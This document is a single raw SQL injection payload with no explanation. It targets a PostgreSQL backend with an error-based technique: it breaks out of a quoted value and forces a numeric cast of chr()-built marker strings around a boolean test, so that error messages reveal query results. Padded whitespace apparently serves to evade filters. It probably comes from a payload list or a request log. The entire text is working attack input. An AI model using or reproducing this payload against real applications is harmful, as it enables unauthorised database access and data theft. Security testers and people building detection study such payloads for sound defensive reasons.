1'    )      )     and 2853   =   cast    (      (    chr   (   113   )   ||chr   (   113   )   ||chr   (   112   )   ||chr   (   106   )   ||chr   (   113    )      )    ||   (   select    (   case when    (   2853   =   2853   )    then 1 else 0 end    )      )    ::text||   (   chr   (   113   )   ||chr   (   122   )   ||chr   (   118   )   ||chr   (   122   )   ||chr   (   113    )      )     as numeric   )    and     (      (    'yhku' like 'yhku